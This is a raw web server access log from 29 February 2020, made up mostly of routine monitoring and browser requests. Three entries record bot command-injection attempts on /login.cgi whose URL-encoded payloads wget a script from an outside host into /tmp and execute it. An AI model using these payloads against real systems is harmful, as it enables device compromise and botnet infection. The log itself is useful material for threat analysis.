212.91.246.72 - - [29/Feb/2020:23:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.66.213.117 - - [29/Feb/2020:23:39:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:23:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.198.36.62 - - [29/Feb/2020:23:43:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [29/Feb/2020:23:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [29/Feb/2020:23:44:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [29/Feb/2020:23:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.227.124.159 - - [29/Feb/2020:23:49:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)"
212.91.246.72 - - [29/Feb/2020:23:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.181.22.167 - - [29/Feb/2020:23:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:23:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [29/Feb/2020:23:53:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [29/Feb/2020:23:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.172.97.121 - - [29/Feb/2020:23:56:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:23:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:23:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"